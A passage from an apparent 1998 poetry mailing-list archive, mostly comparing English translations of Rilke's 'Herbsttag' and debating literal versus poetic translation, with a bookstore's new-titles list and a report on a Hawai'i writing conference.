to bring them to perfection and to force
the final sweetness in the heavy wine.

Who has no house now will not build him one.
Who is alone now will be long alone,
will waken, read, and write long letters
and through the barren pathways up and down
restlessly wander when dead leaves are blown.

---(for my taste, I prefer Norton's work to either MacIntyre's or Mitchell's, because it seems far closer to Rilke's original, and I'd rather deal with some convolutions in the English, so that I get a taste of the German, than have the poem overly-sweetened and watered down and homogenized, etc., etc., etc.)

In a message dated 9/22/98 8:28:38 PM Eastern Daylight Time, [redacted] writes:

<< Augh, am I the only one with a virulent allergy to Stephen Mitchell's versions of almost anything?

We compared "Herbsttag" (Autumn Day) once on another list--here's Rilke, then Mitchell, then M.D. Herter Norton (whose _Translations from the Poetry of RMR_ is worth owning, though there may be something better):

Herbsttag

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gieb ihnen noch zwei südlichere Tage,
dränge sie zur Vollendung hin und jage
die letzte Süße in den schweren Wein.

Wer jetzt kein haus hat, baut sich keines mehr.
Wer jetzt allein ist, wird es lange bleiben,
wird wachen, lesen, lange Briefe schreiben
und wird in den Allen hin und her
unruhig wandern, wenn die Blätter treiben.

Autumn Day

Lord: it is time. The huge summer has gone by.
Now overlap the sundials with your shadows,
and on the meadows let the wind go free.

Command the fruits to swell on tree and vine;
grant them a few more warm transparent days,
urge them on to fulfillment then, and press
the final sweetness into the heavy wine.

Whoever has no house now, will never have one.
Whoever is alone will stay alone,
will sit, read, write long letters through the evening,
and wander on the boulevards, up and down,
restlessly, while the dry leaves are blowing.

tr. Stephen Mitchell

Autumn Day

Lord, it is time. The summer was very big.
Lay thy shadow on the sundials,
and on the meadows let the winds go loose.

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give them another two more southerly days,
press them on to fulfillment and drive
the last sweetness into the heavy wine.

Who has no house now, will build him one no more.
Who is alone now, long will so remain,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

tr. M.D. Herter Norton

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484. **Jessica Smith**
Re: Rilke, Norton, and a new version
Tue 22 Sep 1998

word-by-word translation is not the same as poetic translation. if you want a word-by-word translation you can buy a German dictionary and do it yourself. if

you want a real translation, language to language, a word-by-word translation such as Norton's isn't what you're looking for. Remember that German is not just "other words for English" but actually a separate language with phrases that, when directly translated, do not convey the intent of the author. "Translation" does not mean A=A. There are incongruencies that will exist. Which is why a poetic translation such as Mitchell's conveys the poetics of the original document.

This may be a bad thing to bring up since none of you seem to like Pinsky, but his translation of Dante's Inferno is a good example of a poetic translation that is not a word-for-word translation but is in fact more effective and more true to the original document.

J. Smith

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485. **Jessica Smith**
Re: Rilke - C.F. MacIntyre
Tue 22 Sep 1998

I think this is a very good translation.

J. Smith

↑ Index

486. **Todd Baron /*/ ReMap**
Re: Remap ing the horizon with theme
Tue 22 Sep 1998

---

sorry for the name/sake mix-up.

To share with the list also:

here's the thematic reason--rather than just create a collection of poems in a magazine format--Carolyn Kemp and I decided that a thematic base allows a certain dialogue to resonate between poems. Especially in small publications like ours--we wanted to avoid a "collection of stuff we like"--which we felt some magazines do do. THe theme then (as in #6--politics--) is an engagement with the notion of themes. Think of architecture--one needs a site rather than a building or house. The site then enters into a dialogue with the building rather than the building being just "placed" on the site. (Thinking of Neutra or Schindler's idea --the Louis Sullivan buildings or Wrights "organic machine" that a house must be...) . Anyway--and also-- years later someone mightpull down a ReMap or other magazine and see what--say--politics or food or nature

editions we did and (hopefully) see a dialogue there between the work, the magazine, and the reader.

the poems then don't have to be "about" the theme, but rather--about--as in--he's about the house.

At least that's ReMap's idea.

What do you (all) think?

Todd Baron
ReMap

↑ Index

487. **Todd Baron /*/ ReMap**
Re: Rilke?
Tue 22 Sep 1998

MAYHEW wrote:
>
> Anyone have any recommendations on translations of Rilke? I have a twenty
> year old edition of the sonnets and elegies translated by Poulin, which I
> have never liked, despite the blurbs on the back by such luminaries as
> Lowell, Ignatow, Dickey, and Kunitz. My German is weak, and I don't
> respond well to the "yoo hoo" school of Rilke translation.
>
> In a similar vein, I am looking for lucid essay(s) on Rilke, explaining
> his significance to modern poetry as a whole.
>
> Jonathan Mayhew
>
Stephen Miitchell's translations have always seemed wonderful to me...

Todd B.

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488. **Todd Baron /*/ ReMap**
(no subject)
Tue 22 Sep 1998

---

apologies: the e-mail i sent on "thematic" issues was a response to the question "Why do editors like Themes?"

TB
ReMap

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489. **Pierre Joris**
Re: Rilke, Norton, and a new version
Tue 22 Sep 1998

Jessica Smith wrote:
>This may be a bad thing to bring up since none of you seem to like Pinsky, but
>his translation of Dante's Inferno is a good example of a poetic translation
>that is not a word-for-word translation but is in fact more effective and more
>true to the original document.

hmm, for translation into dead lingos Pinsky's Dante compares favorably to Bly's Rilke though the results are on opposite poles: pinsky's soporific & Bly emetic.

==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Mal tu par l'encre même
-- Stéphane Mallarmé
==========

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490. **Aviva Vogel**
Re: Rilke, Norton, and a new version
Tue 22 Sep 1998

In a message dated 9/22/98 11:13:13 PM Eastern Daylight Time, [redacted] writes:

<< Which is why a poetic translation such as Mitchell's conveys the poetics of the original document. >>

How do you know? And what do you mean by "the poetics"? I'm in complete understanding that translations are not meant to be literal, "word-by-word" renditions, as you protested. However, I prefer having a translation that transmits as much as possible of the cadence, the diction, the tonality, of the original. I don't prefer a translation, at least when attempting to become acquainted with a poet's work, that exercises great latitude in these areas. However, once I'm reasonably acquainted with a poet's work, and have a good sense of their

poetics, their aesthetics, and some of the flavor of the language and personal diction that they're working in, I love to read more generously interpretive translations, such as Mitchell's. I love to read three, four, five translations of the same poem. But please...if we're not going to get books that have a three-fold translation process [Part One: the original; Part Two: a "literal" translation (or as close to literal as possible); and, Part Three: the translator's interpretation of the poem]----then, I prefer to BEGIN with something that is as close to the original as possible, taking the fewest liberties. I don't need to read the poem in a smooth version of English as an entry-point into the writer's work. The "smooth" version is desirable at a later point, I think. Anyway....I don't think that the various frustrations you're seeing folks express about translations can be reduced to snobbery. It's just a very hoary, hairy, hellish situation we're all dealing with, each in our own way.

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491. **Aviva Vogel**
Re: Rilke - C.F. MacIntyre
Tue 22 Sep 1998

In a message dated 9/22/98 11:22:08 PM Eastern Daylight Time, [redacted] writes:

<< I think this is a very good translation.

J. Smith >>

Why?

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492. **Keith Tuma**
Re: query: poetics of metallurgy
Tue 22 Sep 1998

> *On Tue, 22 Sep 1998, Maria Damon (Maria Damon) wrote:*
>
> *hey all, an architect wants to do a directed study w/ me on the poetics of "human verdigris," that is, the effect of human touch, life, etc on metal over the course of time [...]*
> *does anyone know of texts or writers who are*
> *specifically interested in metals to whom i can refer him?*
>
> *Peter Riley, _Two Essays_ (Grossteste, 1983) (the first of these is "Note on Vein Forms," about minerology: "It is a fluid substance, always bending and drooping and melting, oxydising and dissolving....This animal-like quality is in conflict with the static qualities of stone or even wood, which are also integral to human sense")*

> *Peter Riley, _Tracks and Mineshafts_ (Grossteste, 1983) (poems: "The fuzzily scanned futures of our acts / become a chalky rubble under our feet, / crumbling downgrade, offer and result / of protection from climate, horizontal / bone web across the rim of hope, we / sink in it, down to the ocean floor")*
>
> *Two sadly forgotten books*
>
> *Ben F. via Carla B.*

See also J. H. Prynne, "A Note On Metal" (1968) in _Poems_ (Agneau 2, 1982)

KT

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493. aerialedge

New @ Bridge Street, Spicer Lectures, O Books, Poetics Journal, &&&

Wed 23 Sep 1998

Discount/ordering information at the end of the list, thanks poetix for your supports.

1. _Chain / 5: different languages_, ed Osman, Spahr, Zweig, $12. Contributors include Alcala, Biarujia, Bodakov, Braune, Brossard, Burns, Burt, Chung, Debrot, Doris, DuPlessis, Glancy, Gordon, Gough, Hahn, Havelda, Kim, MacLeod, Mac Low, Magee, Maiolino, Smith Nash, Prevallet, Robinson, Schaefer, Scott, Stecopoulos, Striker, Strickland, Tardos, Tysh, Torres, Waldman, Wallace &&&.

2. _Poem On A Train_, Jordan Davis, Barque Books, $6. "She's right you have to want something / To get it I want to be good"

3. _Deleuze and Guattari: New Mappings in Politics, Philosophy, and Culture_, ed. Eleanor Kaufman and Kevin Jon Heller, U Minnesota, $19.95. Deleuze, Michael Hardt, Brian Massumi, Eugene W. Holland, Jonathan L. Beller, Bernardo Alexander Attias, John S. Howard, Samira Kawash, Bruno Bosteels, Gary Genesko, Brian Reynolds, Timothy S. Murphy, Eleanor Kaufman, Daniel W. Smith, Asen Evans, & Mani Haghighi.

4. _Reistances of Psychoanalysis_, Jacques Derrida, Stanford, $14.95. "I only met Lacan twice, though I crossed paths with him a third time, long after, at a cocktail party."

5. _The Master Letters of Emily Dickinson_, ed. R.W. Franklin, Amherst College Press, $11.95. Facsimiles and facing page transcriptions of the three "Master Letters."

6. _Fray_, Jessica Grim, O Books, $10. "frankly we are beginning to disappear and no / test will save us"

7. _The Germ #2_, ed. Macgregor Card & Andrew Maxwell, $6. Bernadette Mayer, Anne Waldman, Elfriede Czurda, Lisa Isaacson, James Schuyler, Ray DiPalma, Joyce Lightbody, Rod Smith, Lewis Warsh, Beth Anderson, George Albon, Devin Johnston, Lisa Samuels, Brian Schorn, Anne Tardos, Chris Strofolino, Elizabeth Robinson, Nathaniel Mackey, Aaron Shurin, Perloff on Wellman, Delville on Gins, Swensen on Gizzi, &&&.

8. _Dura_, Myung Mi Kim, Sun & Moon, $11.95. "Mangy birds sing ornate songs."

9. _Doomsday Belly_, stories by Susan Smith Nash, Trip Street Press, $12. "And there we were, in the shadow of the poshest most elaborate shopping mall in all of Paraguay."

10. _Criteria_, Sianne Ngai, O Books, $10. "to be a thing // crushed by the dark weight of other things / is turning someone on / or developing into a fine prose style"

11. _American Rush: Selected Poems_, Maureen Owen, Talisman House, $15.95. "And to think of the Grande Affaire I gave up for it! Lawdy!"

12. _Poetics Journal 10: Knowledge_, ed Lyn Hejinian & Barrett Watten, $14. Pierre Alferi, Ted Pearson, Joan Retallack, Michael Davidson, Lorenzo Thomas, Leslie Scalapino, Daniel Davidson, Arkaii Dragomoshchenko, Ilya Kutik, George Hartley, Kit Robinson, Chris Tysh, Rod Smith, Dennis Barone, John Smith, Herman Rapaport, Reva Wolf, Ron Silliman, David Benedeti, Carla Harryman, Robert Gluck, Rodrigo Toscano, Hung Q. Tu, Ron Day, Jim Rosenberg, Pamela Lu, Travis Ortiz, Lytle Shaw, Dodie Bellamy, Lisa Samuels, Micahel Gottlieb, Michael Amnasan, Aaron Shurin, & Steve Evans.

13. _Soap_, Francis Ponge, trans. Lane Dunlop, Stanford, $14.95. "Violent desire to wash one's hands."

14. _Ogling Anchor_, Christopher Reiner, Avec, $10. "Sent to appear as verse in more tender ancestors improved short of frustration reverent, excessive craniums, stopping to take in (our) distant prospect."

15. _Surrealist Women: An International Anthology_, ed Penelope Rosemont, Univ of Texas, $19.95. 97 contributors from 28 countries from the 1920s to the present including Nancy Cunard, Nadja, Suzanne Muzard, Meret Oppenheim, Leonora Carrington, Frida Kahlo, Gertrude Pape, Ida Kar, Elisa Breton, Mimi Parent, & Rikki Ducornet.

16. _The Seven Voices_, Lisa Samuels, O Books, $10. "Coendurance of pleasure with surety / emasculates many raptures, / the create within creatures"

17. _Shark 1: the pre-poetic_, ed Lytle Shaw and Emily Clark, $8. New biannual of poetics & art criticism. Pamela Lu, Adam DeGraff, Leslie Scalapino, Kevin Killian, Alex Cory, Lyn Hejinian, Mark Shepard, Dodie Bellamy, Craig Dworkin, Eugene Ostashevsky, Dmity Golykno-Volfson, Katy Lederer, Laura Moriarty, Gregg Biglieri, Robert Hale, & Mary Burger.

18. _Talking About a Revolution_, ed South End Press Collective, South End Press, $14. Interviews with Michael Albert, Noam Chomsky, Barbara Ehrenreich, bell hooks, Peter Kwong, Winona Laduke, Manning Marable, Urvashi Vaid, & Howard Zinn.

19. _The House That Jack Built: The Collected Lectures of Jack Spicer_, ed w/ afterword by Peter Gizzi, Wesleyan, $18.95. "Q: Then let me ask you who are you vulnerable to? JS: Ghosts."

20. _Anamorphosis Eisenhower_, Sam Truitt, Lost Roads, $12. "I look into the bathroom. The candle is burning"

21. _The Virilio Reader_, ed James Der Derian, Blackwell, $24.95.

22. _UTOPISTICS, or Historical Choices of the Twenty-First Century_, Immanuel Wallerstein, New Press, $12.95.

Some Bestsellers:
Poet Be Like God: Jack Spicer and the San Francisco Renaissance, Lew Ellingham and Kevin Killian, Wesleyan, $35.
Mysteries of Small Houses, Alice Notley, Penguin, $14.95.
The Letters of Mina Harker, Dodie Bellamy, Hard Press, $13.95.
Another Smashed Pinecone, Bernadette Mayer, United Artists, $10.
Wakefulness, John Ashbery, FSG, $20.
Close Listening: Poetry and the Performed Word, Charles Bernstein ed., Oxford, $24.95.
Works & Days, Bill Luoma, The Figures, $15.
The Lion Bridge: Selected Poems 1972-1995, Michael Palmer, New Directions,
$18.95.
Poetry On & Off the Page: Essays for Emergent Occasions, Marjorie Perloff, Northwestern, $19.95.
Life & Death, Robert Creeley, New Directions, $19.95.
An Anthology of New (American) Poets, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, Talisman, $21.95.
Moving Borders: Three Decades of Innovative Writing by Women, ed. Mary Margaret Sloan, Talisman, $27.95.
My Futurist Years, Roman Jakobson, Marsilio, $19.95.
Tripwire: a journal of poetics, ed Yedda Morrison & David Buuck, $6.
Artificial Heart, Peter Gizzi, Burning Deck, $10.

_Revolution of the Word: A New Gathering of American Avant Garde Poetry 1914-1945, ed. Jerome Rothenberg, Exact Change, $15.95.
Sound States: Innovative Poetics and Acoustic Technologies, ed A. Morris, $24.95.
Guy Debord--Revolutionary: A Critical Biography, Len Bracken, $14.95.
Raddle Moon 16: 22 New French Writers, $10.
Perhaps this is a rescue fantasy, Heather Fuller, $10.
Nothing Happened and Besides I Wasn't There, Mark Wallace, $9.50.
Collected Prose, Charles Olson, $19.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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494. Tom Orange
Rilke & translation
Wed 23 Sep 1998

---

no one has mentioned edward snow, who has done the two volumes of the neue gedichte as well as the recently-published "uncollected poems" (perhaps other volumes as well -- these off the top of my head).

the puzzling fact about rilke in english -- of the high modernist german poets he's arguably the most "influential", yet we have no one in english that has taken on the complete rilke corpus. (at least for stefan george there is, tho it's long out of print and the german is not printed en face with the english; that we lack this for trakl is also lamentable...) ((p.s. to pierre j: when can we expect celan's threadsuns and lightcompulsion?))

i always try to read poets in multiple translations simultaneously: individually they are always lacking, together they can begin to complement the natural de-faut des langages (mallarme cum benjamin).

tom orange

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495. **Stephen Cope**
Re: Textual Abuse
Wed 23 Sep 1998

James Perez writes:

> *2. and if you want to work with some real chance operations, let it go to print without looking at it, let somebody else re-lineate everything for you, I used to think it would be interesting to just let other people rewrite poems with my name on them (someday we will kill the author, but it's tough when the "Economist" and the "Guerilla Girls" are some of the only people on your side, they'll never work together)*

Actually, Bernadette Mayer's book _Moving_ was given to the printer with the request that he set the lines off the right and left margin ("raggedy," was her term) in a random fashion. So that the book that now appears was given its from by a printer, rather than Mayer itself. Chance operation indeed...

Stephen

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496. **david bromige**
welcome back, Eliza!
Wed 23 Sep 1998

Let me go front-channel to say how glad I am to see you back with us Listafarians (a Ron Silliman coinage, I believe)....I missed you and I'm sure many of us did. I worried about you. Good to hear from you, and good to know Free Cuisineart whirrs on. David

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497. **Juliana Spahr**
island writing reading report
Wed 23 Sep 1998

Mainland poet Susan Schultz and mainland poet I organized this island writing conference with a few other people mainland writers. It was this weekend at the University of Hawai'i, Manoa.

On Thursday local poet Kathy Banggo answered some questions and Hawaiian playwright Alani Apio showed some video clips from his plays. The audience had lots of questions. Apio said he wanted the Hawaiian nation and saw revolution as the only way. Some concerns were expressed by various audience members about bloodshed and revolution. Some audience members came up to me while I was waiting outside for a ride home and complained to me after the talk. One said that he felt that as a white male that his opinion wasn't respected.

Another person said they were from Manhattan and I just didn't understand things. I didn't really understand what either of these people were talking about.

On Thursday night a reading was held for the new Bamboo Ridge collection called _Growing Up Local_. I wasn't able to attend. Maybe Bill Luoma, who did attend, could provide some insight.

Friday night started with mainland novelist Bob Shachochis reading (some complaining by various authors caused the schedule to get rearranged). He is a writer for Harpers. He read a piece on Haiti. It ended with an exotic, full-lipped woman nursing her baby in some sort of place filled with dead bodies. He used lots of metaphors and long sentences. Bob was invited by the students who do the Hawaii Review.

Then Kathy Banggo read some poems. She read some in standard English and then she read some in pidgin. When she read the ones in pidgin the audience laughed and clapped a lot. Her chapbook is available from Susan Schultz. It is lots of fun to read.

Then Alani Apio read some poems and a few monologues. He read some poems about fishing. And one about "fake sleep" which he does so that his father can touch him. The monologues were really good. One was about a bunch of haoles coming and killing all the ahi in the character's family fishing shrine. I thinks his plays are interesting. He has written two plays in a trilogy. The first is about a character who has sold his land to a hotel and the hotel has given this character a tour guide job. In the second, a character comes out of jail and forms a sovereignty movement to reclaim the sold land. You can order the plays from him. If you email me I will send you his address.

Then Samoan novelist Sia Figiel read. She read from her novel _Where We Once Belonged_. She had the giggles while reading the section about the haole teacher Miss Cunningham. The parts she read from the novel felt alive. She also read some poems from her new book. Someone,a fellow white female English teacher, asked me later where the trope of the white female English teacher originates in postcolonial literature. I said maybe in AFrican literature but I wasn't sure.

The next day there were three talks. Bob Dylan did his sound check in the background. He was playing that evening at an outdoor stage next to the reading.

Figiel read a talk from her new book about winning the commonwealth.

Caribbean-Canadian poet Nourbese Philip read a talk about her writing and colonialism and language.

Shachochis read from a novel. The novel was a story about a woman who leaves Kansas to join the peace corp. He said that it was his Miss Cunningham. He compared the woman in the novel to Figiel. Some people in the audience didn't like this and complained. They talked about power differentials.

That evening mainland novelist who has lived in Hawai'i for several decades Ian McMillian read first. He read a story about a man and his canoe. The canoe was called the red wind.

Then Nourbese Philip read. She started by reading a quote by a writer from Hawaii that said that the haoles were all uptight and never had sex while the Pacific Islanders and the Asians were having a good time all the time. She talked about s/kinship. Then she read part of a poetic essay from her new book. She also read some poems she had written earlier on islands.

Then Samoan-American poet Caroline Sinaviana read. She read a poem that she dedicated to afro-germans. And a poem about Rudy in Paradise. This poem reminded me of the quote that Philip used to begin her reading.

Then local novelist Lois Ann Yamanaka read. She read some parts that were cut by her editor from her forthcoming novel. She said she read for 15 minutes but it felt like only seconds. The audience laughed a lot. She also looked stunning in a long black skirt and shirt and vibrant orange lei.

After the readings Apio got up and said he hadn't read McMillians' novel but that he felt that McMillian shouldn't write about things Hawaiian b/c it was appropriation. He also complained about McMillian's Hawaiian which he said wasn't accurate. McMillian said he believed in imagination. He said that Apio should read the novel b/c the characters was from New Jersey (although I must admit that the character did seem to have an Hawaiian name). Philip said that her attitude was that even if appropriation is wrong, if you can't legislate it you can't do anything about it. She said that the problem goes away when people from a certain group start writing. Then the appropriation doesn't matter b/c no one reads haole on things like Hawaiian canoes anymore. Yamanaka said to read the novel. She said people often made accusations without reading the novels. The audience laughed a lot at this line.

A party was held after the reading with free beer and pupus. At the party the chair of my department, who is local, said to me that next year we could do a haole invasion conference and I could read. I laughed at the joke.

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498. **maz881**
Re: metal
Wed 23 Sep 1998

Maria,

you should check out the so-called orphic gold plates. which are gold leaves with incribed poems, hymns to help the dead person. they were buried with dead persons in greece of old. i forget how scholars date them. there is an interesting collection called fragmenta orphica i believe that would contain them. edited by one of those german philologists like wilamovitz.

Bill Luoma

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499. **Aviva Vogel**
Rilke's Translators - What Does Each Offer?
Wed 23 Sep 1998

Here's an additional two translations of "Autumn Day," along with the Norton and Mitchell translations. What a trip, comparing these...it seems that each translator can only meet limited criteria.

For Arndt, recapturing Rilke's rhyme is paramount.

For Bly, telling an accessible story might be the main objective; he's got such a mixture of strategies, it's hard to determine what's paramount.

For MacIntyre, perhaps a gentle nudging of the original into a gentler English syntax, and a generally delicate touch where interpretive ego and personal poetics is concerned, could characterize his implicit ambitions for the translation he offers.

For Mitchell, a graceful lyric, with full accessibility to a particular market niche, and a certain somberly spiritual cadence, seems primary.

And for Norton, as I've said before, a fairly literal translation that matches the rhythm, tone, diction, and syntax of the original, seems most important.

None of the translators (except for Norton), seem to have been able to successfully meet multiple objectives (since they must inevitably conflict), and seem instead to have settled on what's most interesting, comfortable, marketable, or simply reflective of their own personalities.

The additional translations:

October Day (tr. Robert Bly)

Oh Lord, it's time, it's time. It was a great summer.
Lay your shadow now on the sundials,
and on the open fields let the winds go!

Give the tardy fruits the hint to fill;
give them two more Mediterranean days,
drive them on into their greatness, and press
the final sweetness into the heavy wine.

Whoever has no house by now will not build.
Whoever is alone now will remain alone,
will wait up, read, write long letters,
and walk along sidewalks under large trees,
not going home, as the leaves fall and blow away.

Autumn Day (tr. Walter Arndt)

Lord: it is time. Great was the summer's feast.
Now lay upon the sun-dials your shadow
And on the meadows have the winds released.

Command the last of fruits to round their shapes;
Grant two more days of south for vines to carry,
To their perfection thrust them on, and harry
The final sweetness into heavy grapes.

Who has not built his house, will not start now.
Who now is by himself will long be so,
Be wakeful, read, write lengthy letters, go
In vague disquiet pacing up and down
Denuded lanes, with leaves adrift below.

Autumn Day (tr. C.F. MacIntyre)

Lord, it is time. The summer was too long.
Lay now thy shadow over the sundials,
and on the meadows let the winds blow strong.

Bid the last fruit to ripen on the vine;
allow them still two friendly southern days
to bring them to perfection and to force
the final sweetness in the heavy wine.

Who has no house now will not build him one.
Who is alone now will be long alone,
will waken, read, and write long letters
and through the barren pathways up and down
restlessly wander when dead leaves are blown.

---(for my taste, I prefer Norton's work to either MacIntyre's or Mitchell's, because it seems far closer to Rilke's original, and I'd rather deal with some convolutions in the English, so that I get a taste of the German, than have the poem overly-sweetened and watered down and homogenized, etc., etc., etc.)

Herbsttag

Herr: es ist Zeit. der Sommer war sehr groß.
Leg deinen Schatten auf die Sonnenuhren,
und suf den Fluren laß die Winde los.

Befiehl den letzten Früchten voll zu sein;
gieb ihnen noch zwei südlichere Tage,
dränge sie zur Vollendung hin und jage
die letzte Süße in den schweren Wein.

Wer jetzt kein haus hat, baut sich keines mehr.
Wer jetzt allein ist, wird es lange bleiben,
wird wachen, lesen, lange Briefe schreiben
und wird in den Allen hin und her
unruhig wandern, wenn die Blätter treiben.

Autumn Day

Lord: it is time. The huge summer has gone by.
Now overlap the sundials with your shadows,
and on the meadows let the wind go free.

Command the fruits to swell on tree and vine;
grant them a few more warm transparent days,
urge them on to fulfillment then, and press
the final sweetness into the heavy wine.

Whoever has no house now, will never have one.
Whoever is alone will stay alone,
will sit, read, write long letters through the evening,
and wander on the boulevards, up and down,
restlessly, while the dry leaves are blowing.

tr. Stephen Mitchell

Autumn Day

Lord, it is time. The summer was very big.
Lay thy shadow on the sundials,
and on the meadows let the winds go loose.

Command the last fruits that they shall be full;
give them another two more southerly days,
press them on to fulfillment and drive
the last sweetness into the heavy wine.

Who has no house now, will build him one no more.
Who is alone now, long will so remain,
will wake, read, write long letters
and will in the avenues to and fro
restlessly wander, when the leaves are blowing.

tr. M.D. Herter Norton

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500. Charles Alexander
berrigan's rilke
Wed 23 Sep 1998

Yes, in answer to the query about Berrigan's version of the Rilke poem. It was just on the shelf behind me, so here.

AUTUMN'S DAY
after Rilke

Lord, it is time. Summer was very great.
Now cast your shadow upon sundials.
Let winds remind meadows it is late.

Mellow now the last fruits on the vine.
Allow them only two more southern days.
Hasten them to fulness, and press
The last heavy sweetness through the wine.

Who has no home can not build now.
Who dwells alone must now remain alone;
Will waken, read, write long letters, and
Will wander restlessly when leaves are blowing.

Ted Berrigan

charles

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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501. Mark Salerno
Re: Rilke
Wed 23 Sep 1998

Ted Berrigan

Autumn's Day

after Rilke

Lord, it is time. Summer was very great.
Now cast your shadow upon sundials.
Let winds remind meadows it is late.

Mellow now the last fruits on the vine.
Allow them only two more southern days.
Hasten them to fulness, and press
The last heavy sweetness through the wine.

Who has no home can not build now.
Who dwells alone must now remain alone;
Will waken, read, write long letters, and
Will wander restlessly when leaves are blowing.

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502. david bromige
McIntyre a Californian?!
Wed 23 Sep 1998

Fall

Man, where'd the time go? Detroit?.
But summer was really, really great.

Stand that side of the sundial, will ya?
I want to dig the shadows.

Robert Duncan's freaking in the meadow.

Those apples can't get a whole lot riper.
Give em a couple more hot days.
My friends who have the winery are already making the wine.

It's getting chilly, nights. If you don't have a pad by now,
Too bad. If you're not seeing someone
You're likely stuck that way, they went back to school.
Crack a book yourself. Write in Starbucks.

Go walkabout downtown. [Time passes]. Hey, lookit
the leaves, wind, etc. doing their thing. Rustle rustle.
Contrast and compare yourself. Cool!

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503. **henry**
Re: Rilke's Translators - What Does Each Offer?
Wed 23 Sep 1998

Here's a version by Eric Blarnes:

Lord: it is time. The summer was so great.
Lay down your shadow on the sundials;
over the meadows let the wind blow.

Goad the late grapes: ripen on the vine.
Grant them two more southern days
to come to perfection, and squeeze
their sweet last into heavy wine.

Whoever has no home now, will not find one
and whoever is alone, will stay alone.
Will stay awake, read, write long letters
and wander the highways up and down -
restless, while the leaves drift.

- Eric Blarnes

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504. **MAYHEW**
Re: Rilke
Wed 23 Sep 1998

Pound would probably not be the ideal translator of Rilke. When I mentioned Pound, I was thinking of a translator who took language and poetry seriously. Mitchell produces readable versions of many poets, not at all a "bad" translator, but I don't feel like settling for mediocrity. As I said before, this earns me much grief.

It is precisely those who don't know enough German who have the most* right to complain, I think. After all, we are the ones who need the translation! I agree it's not fair to single out Mitchell. After all, he is probably better than most.

I don't know what Jessica means by "poetic," "fair," "vie," and "untranslated" in the post reprinted below:

On Tue, 22 Sep 1998, Jessica Smith wrote:

> *I still think that Stephen Mitchell (whether man or machine) is a good translator. Both of the books I have also contain the Spanish (Neruda) and German (Rilke) untranslated. I know enough german and enough poetry to vie for Mitchell's translation of Rilke... it is poetic, it is a good, fair translation.*
>
> *Far too much complaining and snobbery go on on this list. Be fair. If you don't know German well enough to do your own translations, don't judge another's translations. If you have "heard" something about a translator, read him yourself before making judgemental statements. If Rilke does not sound enough like, say, Pound, to you, in a translation, well, that is because Rilke is not Pound.*
>
> *I think that no matter what translation you choose, you should try to obtain one with a side-by-side printing of German and English, so that when you are doing in-depth study of, say, diction, you can find out the connotations of the original words without depending on a middleman.*
>
> *J. Smith*

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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505. **dee morris**

Re: New @ Bridge Street, Spicer Lectures, O Books, Poetics Journal, &&&

Wed 23 Sep 1998

Rod--Thanks for this great service! It's hard to find Chaiin the The Germ in Iowa City, I didn't know about New Mappings, and I can't wait to read Dura. Please bill me and I'll pay by return mail.

Best to you, as ever.

Dee

> *1. _Chain / 5: different languages_, ed Osman, Spahr, Zweig, $12. Contributors include Alcala, Biarujia, Bodakov, Braune, Brossard, Burns, Burt, Chung, Debrot, Doris, DuPlessis, Glancy, Gordon, Gough, Hahn, Havelda, Kim, MacLeod, Mac Low, Magee, Maiolino, Smith Nash, Prevallet, Robinson, Schaefer, Scott, Stecopoulos, Striker, Strickland, Tardos, Tysh, Torres, Waldman, Wallace &&&.*

> *3. _Deleuze and Guattari: New Mappings in Politics, Philosophy, and Culture_, ed. Eleanor Kaufman and Kevin Jon Heller, U Minnesota, $19.95. Deleuze, Michael Hardt, Brian Massumi, Eugene W. Holland, Jonathan L. Beller, Bernardo Alexander Attias, John S. Howard, Samira Kawash, Bruno Bosteels, Gary Genesko, Brian Reynolds, Timothy S. Murphy, Eleanor Kaufman, Daniel W. Smith, Asen Evans, & Mani Haghighi.*
>
> *7. _The Germ #2_, ed. Macgregor Card & Andrew Maxwell, $6. Bernadette Mayer, Anne Waldman, Elfriede Czurda, Lisa Isaacson, James Schuyler, Ray DiPalma, Joyce Lightbody, Rod Smith, Lewis Warsh, Beth Anderson, George Albon, Devin Johnston, Lisa Samuels, Brian Schorn, Anne Tardos, Chris Stroffolino, Elizabeth Robinson, Nathaniel Mackey, Aaron Shurin, Perloff on Wellman, Delville on Gins, Swensen on Gizzi, &&&.*
>
> *8. _Dura_, Myung Mi Kim, Sun & Moon, $11.95. "Mangy birds sing ornate songs."*
>
> *_Another Smashed Pinecone_, Bernadette Mayer, United Artists, $10.*
>
> *_My Futurist Years_, Roman Jakobson, Marsilio, $19.95.*
>
> *Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.*
>
> *Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.*

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506. Mark Prejsnar
Who if i called out would hear me
Wed 23 Sep 1998

I'm a little out of date, and so have posted nothing on the Rilke thread. But I would agree with Rachel's post: the resonantly-named H.D. Herter-Norton is rather interesting. I grew up as a little fledgling poet, long long ago, reading Herter-Norton, who did much of R's work in a series of volumes, and C.F. McIntyre, who is also a rather interesting case.

The best thing of all in my opinion is to use several of these translators and pick up a bit of the ol' teutonic, and try reading bits of originals. Rilke is astonshing for how the movement and thematic resonances of each poem embody themselves in sound.

In my opinion McIntyre is still the best english version of the Duino Elegies. There are silly and odd turns of phrase, but that's not altogether inappropriate to that stunningly new, unprecedented work.

McIntyre believed in trying to capture the rime and meter of the originals (and also other more fleeting alliterative and in general sonic effects) , and he always does so with a kind of ruthless determination, a kind of brashness, that makes most translators dull by comparison. He churned out selected volumes, usually for U. of Cal. Press i think, of a number of poets..Rilke, Mallarme, Verlaine. His way with Mallarme is quite interesting.

